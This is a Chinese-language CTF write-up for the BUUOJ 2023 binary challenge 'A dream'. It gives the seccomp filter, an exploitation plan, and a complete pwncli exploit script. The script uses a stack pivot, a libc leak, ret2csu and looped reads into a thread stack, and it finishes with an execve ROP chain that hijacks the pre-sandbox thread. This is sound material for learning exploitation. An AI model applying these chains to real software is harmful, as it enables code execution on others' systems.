526互联

buuoj-2023六月挑战赛｜二进制专项-a dream

发布时间 2023-06-05 13:56:21作者: 7resp4ss

buuoj-2023六月挑战赛｜二进制专项-A dream

总结

  • 练习了一下做题手感

题目分析

沙盒

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x08 0xc000003e  if (A != ARCH_X86_64) goto 0010
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x05 0xffffffff  if (A != 0xffffffff) goto 0010
 0005: 0x15 0x03 0x00 0x00000000  if (A == read) goto 0009
 0006: 0x15 0x02 0x00 0x00000001  if (A == write) goto 0009
 0007: 0x15 0x01 0x00 0x000000e6  if (A == clock_nanosleep) goto 0009
 0008: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0010
 0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0010: 0x06 0x00 0x00 0x00000000  return KILL

逆向分析

image-20230605134349834

在开启沙盒前启动了一个线程，我们只需要劫持该线程的执行流即可。

利用思路

  • 首先栈迁移泄露libc地址，详细点击这里
  • 然后ret2csu，获得布置栈空间的能力
  • 构造循环read不断往线程栈输入payload

EXP

#!/usr/bin/e1nv python3
'''
Author:7resp4ss
Date:2023-06-04 14:38:39
Usage:
    Debug : python3 exp.py debug elf-file-path -t -b malloc
    Remote: python3 exp.py remote elf-file-path ip:port
'''

from pwncli import *
cli_script()


io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

filename  = gift.filename # current filename
is_debug  = gift.debug # is debug or not 
is_remote = gift.remote # is remote or not
gdb_pid   = gift.gdb_pid # gdb pid if debug


abss = 0x404000 + 0xa00
pd_addr = abss + 0x400
CurrentGadgets.set_find_area(1,0)
s(flat(
    {
        72-8:[
            abss,
            0x4013AE
        ]
    }
))

s(flat(
    {
        0:[
            CurrentGadgets.pop_rdi_ret(),
            elf.got.puts,
            elf.plt.puts,
            CurrentGadgets.pop_rbp_ret(),
            pd_addr,
            0x4013AE
            
        ],
        72-8:[
            abss-0x40-8,
            CurrentGadgets.leave_ret()
        ]
    }
))
lb = recv_current_libc_addr(libc.sym.puts,0x100)
libc.address = lb
tstack = lb - 0x4118 - 0x50
leak_ex2(tstack)

fxxk_addr = pd_addr + 0x100

s(flat(
    {
        0:[
            0x40147a,
            0,1,0,pd_addr,0x1000,elf.got.read,
            0x401460,
        ],
        72-8:[
            pd_addr-0x40-8,
            CurrentGadgets.leave_ret()
        ]
    }
))
CurrentGadgets.set_find_area(1,1)
sl(flat(
    {
        56:[
            CurrentGadgets.read_chain(0,tstack,0x100),
            CurrentGadgets.pop_rbp_ret(),
            0x404e38-0x8,
            CurrentGadgets.leave_ret()
        ],
    }
))
pd = flat(
    {
        0:[
            [CurrentGadgets.ret()]*0x50,
            CurrentGadgets.execve_chain()
            ]
    }
)

for i in range(0x10):
    sleep(0.5)
    sl(pd)

ia()
#0x404e38